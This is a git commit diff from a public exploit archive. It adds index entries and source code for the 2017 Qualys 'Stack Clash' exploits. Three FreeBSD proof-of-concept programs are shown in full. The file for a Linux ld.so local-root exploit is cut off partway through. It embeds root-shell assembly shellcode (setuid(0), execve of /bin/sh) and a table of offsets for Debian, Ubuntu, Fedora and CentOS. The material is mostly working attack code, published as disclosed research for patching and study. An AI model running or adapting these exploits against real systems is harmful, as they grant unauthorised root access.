DB: 2017-06-29
14 new exploits NetBSD - Stack Clash Proof of Concept FreeBSD - 'FGPU' Stack Clash Proof of Concept FreeBSD - 'FGPE' Stack Clash Proof of Concept FreeBSD - 'setrlimit' Stack Clash Proof of Concept Flat Assembler 1.7.21 - Buffer Overflow Easy File Sharing Web Server 7.2 - Account Import Local Buffer Overflow (SEH) Oracle Solaris 11.1 / 11.3 RSH - Local Root Stack Clash Exploit OpenBSD - 'at' Local Root Stack Clash Exploit Linux - 'offset2lib' Stack Clash Exploit Linux - 'ldso_hwcap' Local Root Stack Clash Exploit Linux - 'ldso_hwcap_64' Local Root Stack Clash Exploit Linux - 'ldso_dynamic' Local Root Stack Clash Exploit Easy File Sharing Web Server 7.2 - Unrestricted File Upload Kaspersky Anti-Virus File Server 8.0.3.297 - Multiple Vulnerabilities
This commit is contained in:
parent
28b54c9669
commit
fa3bfa77fc
15 changed files with 4490 additions and 0 deletions
14
files.csv
14
files.csv
|
@ -5599,6 +5599,10 @@ id,file,description,date,author,platform,type,port
|
|||
42259,platforms/linux/dos/42259.txt,"LAME 3.99.5 - 'III_dequantize_sample' Stack-Based Buffer Overflow",2017-06-26,"Agostino Sarubbo",linux,dos,0
|
||||
42260,platforms/multiple/dos/42260.py,"IBM DB2 9.7/10.1/10.5/11.1 - Command Line Processor Buffer Overflow",2017-06-26,defensecode,multiple,dos,0
|
||||
42264,platforms/windows/dos/42264.txt,"Microsoft MsMpEng - mpengine x86 Emulator Heap Corruption in VFS API",2017-06-27,"Google Security Research",windows,dos,0
|
||||
42272,platforms/netbsd_x86/dos/42272.c,"NetBSD - Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",netbsd_x86,dos,0
|
||||
42277,platforms/freebsd_x86/dos/42277.c,"FreeBSD - 'FGPU' Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0
|
||||
42278,platforms/freebsd_x86/dos/42278.c,"FreeBSD - 'FGPE' Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0
|
||||
42279,platforms/freebsd_x86/dos/42279.c,"FreeBSD - 'setrlimit' Stack Clash Proof of Concept",2017-06-28,"Qualys Corporation",freebsd_x86,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
@ -9112,6 +9116,14 @@ id,file,description,date,author,platform,type,port
|
|||
42181,platforms/windows/local/42181.py,"VX Search Enterprise 9.7.18 - Local Buffer Overflow",2017-06-15,ScrR1pTK1dd13,windows,local,0
|
||||
42183,platforms/linux/local/42183.c,"Sudo 1.8.20 - 'get_process_ttyname()' Privilege Escalation",2017-06-14,"Qualys Corporation",linux,local,0
|
||||
42255,platforms/linux/local/42255.py,"JAD Java Decompiler 1.5.8e - Buffer Overflow",2017-06-26,"Juan Sacco",linux,local,0
|
||||
42265,platforms/linux/local/42265.py,"Flat Assembler 1.7.21 - Buffer Overflow",2017-06-28,"Juan Sacco",linux,local,0
|
||||
42267,platforms/windows/local/42267.py,"Easy File Sharing Web Server 7.2 - Account Import Local Buffer Overflow (SEH)",2017-06-28,Chako,windows,local,0
|
||||
42270,platforms/solaris_x86/local/42270.c,"Oracle Solaris 11.1 / 11.3 RSH - Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",solaris_x86,local,0
|
||||
42271,platforms/openbsd/local/42271.c,"OpenBSD - 'at' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",openbsd,local,0
|
||||
42273,platforms/lin_x86/local/42273.c,"Linux - 'offset2lib' Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0
|
||||
42274,platforms/lin_x86/local/42274.c,"Linux - 'ldso_hwcap' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0
|
||||
42275,platforms/lin_x86-64/local/42275.c,"Linux - 'ldso_hwcap_64' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86-64,local,0
|
||||
42276,platforms/lin_x86/local/42276.c,"Linux - 'ldso_dynamic' Local Root Stack Clash Exploit",2017-06-28,"Qualys Corporation",lin_x86,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
@ -38085,3 +38097,5 @@ id,file,description,date,author,platform,type,port
|
|||
42252,platforms/hardware/webapps/42252.txt,"Eltek SmartPack - Backdoor Account",2017-06-26,"Saeed reza Zamanian",hardware,webapps,0
|
||||
42262,platforms/php/webapps/42262.txt,"GLPI 0.90.4 - SQL Injection",2017-06-27,"Eric CARTER",php,webapps,0
|
||||
42263,platforms/php/webapps/42263.txt,"WordPress Plugin Ultimate Product Catalogue 4.2.2 - SQL Injection",2017-06-27,"Lenon Leite",php,webapps,0
|
||||
42268,platforms/windows/webapps/42268.py,"Easy File Sharing Web Server 7.2 - Unrestricted File Upload",2017-06-28,Chako,windows,webapps,0
|
||||
42269,platforms/linux/webapps/42269.txt,"Kaspersky Anti-Virus File Server 8.0.3.297 - Multiple Vulnerabilities",2017-06-28,"Core Security",linux,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
66
platforms/freebsd_x86/dos/42277.c
Executable file
66
platforms/freebsd_x86/dos/42277.c
Executable file
|
@ -0,0 +1,66 @@
|
|||
/*
|
||||
* FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#define die() do { \
|
||||
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static const char * last_page;
|
||||
|
||||
static void
|
||||
clash(void)
|
||||
{
|
||||
for (;;) {
|
||||
const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (page <= last_page) die();
|
||||
if (page == MAP_FAILED) break;
|
||||
last_page = page;
|
||||
}
|
||||
if (!last_page) die();
|
||||
}
|
||||
|
||||
static void
|
||||
smash_no_jump(const size_t smash_size)
|
||||
{
|
||||
char buf[1024];
|
||||
memset(buf, 'A', sizeof(buf));
|
||||
if (smash_size > sizeof(buf))
|
||||
smash_no_jump(smash_size - sizeof(buf));
|
||||
}
|
||||
|
||||
#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
static const struct rlimit core;
|
||||
if (setrlimit(RLIMIT_CORE, &core)) die();
|
||||
|
||||
clash();
|
||||
smash_no_jump(SGROWSIZ / 2 * 3);
|
||||
printf("char at %p: %02x\n", last_page, *last_page);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
69
platforms/freebsd_x86/dos/42278.c
Executable file
69
platforms/freebsd_x86/dos/42278.c
Executable file
|
@ -0,0 +1,69 @@
|
|||
/*
|
||||
* FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0)
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/time.h>
|
||||
|
||||
#define die() do { \
|
||||
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static const char * last_page;
|
||||
|
||||
static void
|
||||
alloc(const char * const final)
|
||||
{
|
||||
for (;;) {
|
||||
last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (last_page == MAP_FAILED) die();
|
||||
if (last_page >= final) break;
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
clash_smash_no_jump(const size_t smash_size)
|
||||
{
|
||||
char buf[1024];
|
||||
memset(buf, 'A', sizeof(buf));
|
||||
if (smash_size > sizeof(buf))
|
||||
clash_smash_no_jump(smash_size - sizeof(buf));
|
||||
}
|
||||
|
||||
#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
static const struct rlimit core;
|
||||
if (setrlimit(RLIMIT_CORE, &core)) die();
|
||||
|
||||
struct rlimit stack;
|
||||
if (getrlimit(RLIMIT_STACK, &stack)) die();
|
||||
const size_t smash_size = stack.rlim_cur / 3 * 2;
|
||||
const size_t final_dist = arc4random() % smash_size;
|
||||
|
||||
alloc((const char *)&stack - final_dist);
|
||||
clash_smash_no_jump(smash_size);
|
||||
printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
60
platforms/freebsd_x86/dos/42279.c
Executable file
60
platforms/freebsd_x86/dos/42279.c
Executable file
|
@ -0,0 +1,60 @@
|
|||
/*
|
||||
* FreeBSD_CVE-2017-1085.c
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define die() do { \
|
||||
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
int
|
||||
main(const int argc, char * const argv[])
|
||||
{
|
||||
static const struct rlimit core;
|
||||
if (setrlimit(RLIMIT_CORE, &core)) die();
|
||||
|
||||
struct rlimit stack;
|
||||
if (getrlimit(RLIMIT_STACK, &stack)) die();
|
||||
if (stack.rlim_cur > stack.rlim_max / 3) {
|
||||
stack.rlim_cur = stack.rlim_max / 3;
|
||||
if (setrlimit(RLIMIT_STACK, &stack)) die();
|
||||
execve(*argv, argv, NULL);
|
||||
die();
|
||||
}
|
||||
char * prot_none = NULL;
|
||||
for (;;) {
|
||||
prot_none = mmap(NULL, 4096, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (prot_none == MAP_FAILED) die();
|
||||
if ((uintptr_t)&stack < (uintptr_t)prot_none) die();
|
||||
if ((uintptr_t)&stack - (uintptr_t)prot_none < stack.rlim_max / 3 * 2) break;
|
||||
}
|
||||
if (argc > 1) {
|
||||
stack.rlim_cur = stack.rlim_max;
|
||||
if (setrlimit(RLIMIT_STACK, &stack)) die();
|
||||
}
|
||||
*prot_none = 'A';
|
||||
printf("char at %p: %02x\n", prot_none, *prot_none);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
999
platforms/lin_x86-64/local/42275.c
Executable file
999
platforms/lin_x86-64/local/42275.c
Executable file
|
@ -0,0 +1,999 @@
|
|||
/*
|
||||
* Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* my_important_hwcaps() adapted from elf/dl-hwcaps.c,
|
||||
* part of the GNU C Library:
|
||||
* Copyright (C) 2012-2017 Free Software Foundation, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/**
|
||||
cat > la.c << "EOF"
|
||||
static void __attribute__ ((constructor)) _init (void) {
|
||||
__asm__ __volatile__ (
|
||||
"addq $64, %rsp;"
|
||||
// setuid(0);
|
||||
"movq $105, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"syscall;"
|
||||
// setgid(0);
|
||||
"movq $106, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"syscall;"
|
||||
// dup2(0, 1);
|
||||
"movq $33, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"movq $1, %rsi;"
|
||||
"syscall;"
|
||||
// dup2(0, 2);
|
||||
"movq $33, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"movq $2, %rsi;"
|
||||
"syscall;"
|
||||
// execve("/bin/sh");
|
||||
"movq $59, %rax;"
|
||||
"movq $0x0068732f6e69622f, %rdi;"
|
||||
"pushq %rdi;"
|
||||
"movq %rsp, %rdi;"
|
||||
"movq $0, %rdx;"
|
||||
"pushq %rdx;"
|
||||
"pushq %rdi;"
|
||||
"movq %rsp, %rsi;"
|
||||
"syscall;"
|
||||
// exit(0);
|
||||
"movq $60, %rax;"
|
||||
"movq $0, %rdi;"
|
||||
"syscall;"
|
||||
);
|
||||
}
|
||||
EOF
|
||||
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
|
||||
xxd -i la.so > la.so.h
|
||||
**/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <elf.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <link.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define PAGESZ ((size_t)4096)
|
||||
#define STACK_ALIGN ((size_t)16)
|
||||
#define MALLOC_ALIGN ((size_t)8)
|
||||
|
||||
#define MAX_ARG_STRLEN ((size_t)128<<10)
|
||||
|
||||
#define SUB_STACK_RAND ((size_t)8192)
|
||||
#define INITIAL_STACK_EXPANSION (131072UL)
|
||||
|
||||
#define LDSO "/lib64/ld-linux-x86-64.so.2"
|
||||
|
||||
static const struct target * target;
|
||||
static const struct target {
|
||||
const char * name;
|
||||
size_t vdso_vvar;
|
||||
int jump_ldso_pie;
|
||||
int CVE_2015_1593;
|
||||
int offset2lib;
|
||||
const char * system_dir;
|
||||
const char * repl_lib;
|
||||
unsigned int extra_page;
|
||||
int ignore_lib;
|
||||
int ignore_origin;
|
||||
int disable_audit;
|
||||
} targets[] = {
|
||||
{
|
||||
.name = "Debian 7.7 (wheezy)",
|
||||
.vdso_vvar = 4096,
|
||||
.jump_ldso_pie = 1,
|
||||
.CVE_2015_1593 = 1,
|
||||
.offset2lib = 1,
|
||||
.system_dir = "/lib",
|
||||
.repl_lib = "lib/x86_64-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Debian 8.5 (jessie)",
|
||||
.vdso_vvar = 16384,
|
||||
.offset2lib = 1,
|
||||
.system_dir = "/lib",
|
||||
.repl_lib = "lib/x86_64-linux-gnu",
|
||||
},
|
||||
{
|
||||
.name = "Debian 9.0 (stretch)",
|
||||
.vdso_vvar = 16384,
|
||||
.system_dir = "/lib",
|
||||
.repl_lib = "lib/x86_64-linux-gnu",
|
||||
.extra_page = 1,
|
||||
},
|
||||
{
|
||||
.name = "Ubuntu 14.04.2 (Trusty Tahr)",
|
||||
.vdso_vvar = 8192,
|
||||
.jump_ldso_pie = 1,
|
||||
.CVE_2015_1593 = 1,
|
||||
.offset2lib = 1,
|
||||
.system_dir = "/lib",
|
||||
.repl_lib = "lib/x86_64-linux-gnu",
|
||||
.disable_audit = 1,
|
||||
},
|
||||
{
|
||||
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
|
||||
.vdso_vvar = 16384,
|
||||
.system_dir = "/lib",
|
||||
.repl_lib = "lib/x86_64-linux-gnu",
|
||||
.disable_audit = 1,
|
||||
},
|
||||
{
|
||||
.name = "Ubuntu 17.04 (Zesty Zapus)",
|
||||
.vdso_vvar = 16384,
|
||||
.system_dir = "/lib",
|
||||
.repl_lib = "lib/x86_64-linux-gnu",
|
||||
.extra_page = 1,
|
||||
.disable_audit = 1,
|
||||
},
|
||||
{
|
||||
.name = "Fedora 22 (Twenty Two)",
|
||||
.vdso_vvar = 16384,
|
||||
.offset2lib = 1,
|
||||
.system_dir = "/lib64",
|
||||
.repl_lib = "lib64",
|
||||
},
|
||||
{
|
||||
.name = "Fedora 25 (Server Edition)",
|
||||
.vdso_vvar = 16384,
|
||||
.system_dir = "/lib64",
|
||||
.repl_lib = "lib64",
|
||||
.extra_page = 1,
|
||||
},
|
||||
{
|
||||
.name = "CentOS 7.3.1611 (Core)",
|
||||
.vdso_vvar = 8192,
|
||||
.jump_ldso_pie = 1,
|
||||
.offset2lib = 1,
|
||||
.system_dir = "/lib64",
|
||||
.repl_lib = "lib64",
|
||||
},
|
||||
};
|
||||
|
||||
#define die() do { \
|
||||
printf("died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
static const char *
|
||||
my_asprintf(const char * const fmt, ...)
|
||||
{
|
||||
if (!fmt) die();
|
||||
char * str = NULL;
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
const int len = vasprintf(&str, fmt, ap);
|
||||
va_end(ap);
|
||||
if (!str) die();
|
||||
if (len <= 0) die();
|
||||
if ((unsigned int)len != strlen(str)) die();
|
||||
return str;
|
||||
}
|
||||
|
||||
static const ElfW(auxv_t) * my_auxv;
|
||||
|
||||
static unsigned long int
|
||||
my_getauxval (const unsigned long int type)
|
||||
{
|
||||
const ElfW(auxv_t) * p;
|
||||
|
||||
if (!my_auxv) die();
|
||||
for (p = my_auxv; p->a_type != AT_NULL; p++)
|
||||
if (p->a_type == type)
|
||||
return p->a_un.a_val;
|
||||
die();
|
||||
}
|
||||
|
||||
struct elf_info {
|
||||
ElfW(Half) type;
|
||||
uintptr_t rx_start, rx_end;
|
||||
uintptr_t rw_start, rw_end;
|
||||
};
|
||||
|
||||
static struct elf_info
|
||||
get_elf_info(const char * const binary)
|
||||
{
|
||||
struct elf_info elf = { ET_NONE };
|
||||
if (elf.rx_start || elf.rx_end) die();
|
||||
if (elf.rw_start || elf.rw_end) die();
|
||||
|
||||
const int fd = open(binary, O_RDONLY);
|
||||
if (fd <= -1) die();
|
||||
struct stat st;
|
||||
if (fstat(fd, &st)) die();
|
||||
if (!S_ISREG(st.st_mode)) die();
|
||||
if (st.st_size <= 0) die();
|
||||
#define SAFESZ ((size_t)64<<20)
|
||||
if (st.st_size >= (ssize_t)SAFESZ) die();
|
||||
const size_t size = st.st_size;
|
||||
uint8_t * const buf = malloc(size);
|
||||
if (!buf) die();
|
||||
if (read(fd, buf, size) != (ssize_t)size) die();
|
||||
if (close(fd)) die();
|
||||
|
||||
if (size <= sizeof(ElfW(Ehdr))) die();
|
||||
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
|
||||
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
|
||||
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
|
||||
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
|
||||
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
|
||||
if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
|
||||
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
|
||||
if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die();
|
||||
if (ehdr->e_machine != EM_X86_64) die();
|
||||
if (ehdr->e_version != EV_CURRENT) die();
|
||||
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
|
||||
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
|
||||
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
|
||||
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
|
||||
elf.type = ehdr->e_type;
|
||||
|
||||
int interp = 0;
|
||||
unsigned int i;
|
||||
for (i = 0; i < ehdr->e_phnum; i++) {
|
||||
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
|
||||
if (phdr->p_type == PT_INTERP) interp = 1;
|
||||
if (phdr->p_type != PT_LOAD) continue;
|
||||
|
||||
if (phdr->p_offset >= size) die();
|
||||
if (phdr->p_filesz > size - phdr->p_offset) die();
|
||||
if (phdr->p_filesz > phdr->p_memsz) die();
|
||||
if (phdr->p_vaddr != phdr->p_paddr) die();
|
||||
if (phdr->p_vaddr >= SAFESZ) die();
|
||||
if (phdr->p_memsz >= SAFESZ) die();
|
||||
if (phdr->p_memsz <= 0) die();
|
||||
if (phdr->p_align != 0x200000) die();
|
||||
|
||||
switch (phdr->p_flags) {
|
||||
case PF_R | PF_X:
|
||||
if (elf.rx_end) die();
|
||||
if (elf.rw_end) die();
|
||||
if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die();
|
||||
elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1);
|
||||
elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
|
||||
if (!elf.rx_end) die();
|
||||
break;
|
||||
case PF_R | PF_W:
|
||||
if (!elf.rx_end) die();
|
||||
if (elf.rw_end) die();
|
||||
elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1);
|
||||
elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
|
||||
if (elf.rw_start <= elf.rx_end) die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
}
|
||||
if (!interp && !strstr(binary, "/ld-linux")) die();
|
||||
if (!elf.rx_end) die();
|
||||
if (!elf.rw_end) die();
|
||||
free(buf);
|
||||
return elf;
|
||||
}
|
||||
|
||||
/* There are no hardware capabilities defined. */
|
||||
#define my_hwcap_string(idx) ""
|
||||
|
||||
struct my_important_hwcaps {
|
||||
unsigned long hwcap_mask;
|
||||
size_t max_capstrlen;
|
||||
size_t pointers;
|
||||
size_t strings;
|
||||
};
|
||||
|
||||
struct my_link_map {
|
||||
const ElfW(Phdr) * l_phdr;
|
||||
ElfW(Half) l_phnum;
|
||||
ElfW(Addr) l_addr;
|
||||
};
|
||||
|
||||
struct r_strlenpair
|
||||
{
|
||||
const char *str;
|
||||
size_t len;
|
||||
};
|
||||
|
||||
/* Return an array of useful/necessary hardware capability names. */
|
||||
static struct my_important_hwcaps
|
||||
my_important_hwcaps (const char * const platform, const size_t platform_len,
|
||||
const uint64_t hwcap, const uint64_t hwcap_mask,
|
||||
const struct my_link_map * sysinfo_map)
|
||||
{
|
||||
static const struct my_important_hwcaps err;
|
||||
/* Determine how many important bits are set. */
|
||||
uint64_t masked = hwcap & hwcap_mask;
|
||||
size_t cnt = platform != NULL;
|
||||
size_t n, m;
|
||||
size_t total;
|
||||
struct r_strlenpair *result;
|
||||
|
||||
/* Count the number of bits set in the masked value. */
|
||||
for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
|
||||
if ((masked & (1ULL << n)) != 0)
|
||||
++cnt;
|
||||
|
||||
/* The system-supplied DSO can contain a note of type 2, vendor "GNU".
|
||||
This gives us a list of names to treat as fake hwcap bits. */
|
||||
|
||||
const char *dsocaps = NULL;
|
||||
size_t dsocapslen = 0;
|
||||
if (sysinfo_map != NULL)
|
||||
{
|
||||
const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
|
||||
const ElfW(Word) phnum = sysinfo_map->l_phnum;
|
||||
uint_fast16_t i;
|
||||
for (i = 0; i < phnum; ++i)
|
||||
if (phdr[i].p_type == PT_NOTE)
|
||||
{
|
||||
const ElfW(Addr) start = (phdr[i].p_vaddr
|
||||
+ sysinfo_map->l_addr);
|
||||
/* The standard ELF note layout is exactly as the anonymous struct.
|
||||
The next element is a variable length vendor name of length
|
||||
VENDORLEN (with a real length rounded to ElfW(Word)), followed
|
||||
by the data of length DATALEN (with a real length rounded to
|
||||
ElfW(Word)). */
|
||||
const struct
|
||||
{
|
||||
ElfW(Word) vendorlen;
|
||||
ElfW(Word) datalen;
|
||||
ElfW(Word) type;
|
||||
} *note = (const void *) start;
|
||||
while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
|
||||
{
|
||||
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
|
||||
/* The layout of the type 2, vendor "GNU" note is as follows:
|
||||
.long <Number of capabilities enabled by this note>
|
||||
.long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
|
||||
.byte <The bit number for the next capability>
|
||||
.asciz <The name of the capability>. */
|
||||
if (note->type == NT_GNU_HWCAP
|
||||
&& note->vendorlen == sizeof "GNU"
|
||||
&& !memcmp ((note + 1), "GNU", sizeof "GNU")
|
||||
&& note->datalen > 2 * sizeof (ElfW(Word)) + 2)
|
||||
{
|
||||
const ElfW(Word) *p = ((const void *) (note + 1)
|
||||
+ ROUND (sizeof "GNU"));
|
||||
cnt += *p++;
|
||||
++p; /* Skip mask word. */
|
||||
dsocaps = (const char *) p; /* Pseudo-string "<b>name" */
|
||||
dsocapslen = note->datalen - sizeof *p * 2;
|
||||
break;
|
||||
}
|
||||
note = ((const void *) (note + 1)
|
||||
+ ROUND (note->vendorlen) + ROUND (note->datalen));
|
||||
#undef ROUND
|
||||
}
|
||||
if (dsocaps != NULL)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* For TLS enabled builds always add 'tls'. */
|
||||
++cnt;
|
||||
|
||||
/* Create temporary data structure to generate result table. */
|
||||
if (cnt < 2) return err;
|
||||
if (cnt >= 32) return err;
|
||||
struct r_strlenpair temp[cnt];
|
||||
m = 0;
|
||||
if (dsocaps != NULL)
|
||||
{
|
||||
/* dsocaps points to the .asciz string, and -1 points to the mask
|
||||
.long just before the string. */
|
||||
const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
|
||||
size_t len;
|
||||
const char *p;
|
||||
for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
|
||||
{
|
||||
uint_fast8_t bit = *p++;
|
||||
len = strlen (p);
|
||||
|
||||
/* Skip entries that are not enabled in the mask word. */
|
||||
if (mask & ((ElfW(Word)) 1 << bit))
|
||||
{
|
||||
temp[m].str = p;
|
||||
temp[m].len = len;
|
||||
++m;
|
||||
}
|
||||
else
|
||||
--cnt;
|
||||
}
|
||||
}
|
||||
for (n = 0; masked != 0; ++n)
|
||||
if ((masked & (1ULL << n)) != 0)
|
||||
{
|
||||
temp[m].str = my_hwcap_string (n);
|
||||
temp[m].len = strlen (temp[m].str);
|
||||
masked ^= 1ULL << n;
|
||||
++m;
|
||||
}
|
||||
if (platform != NULL)
|
||||
{
|
||||
temp[m].str = platform;
|
||||
temp[m].len = platform_len;
|
||||
++m;
|
||||
}
|
||||
|
||||
temp[m].str = "tls";
|
||||
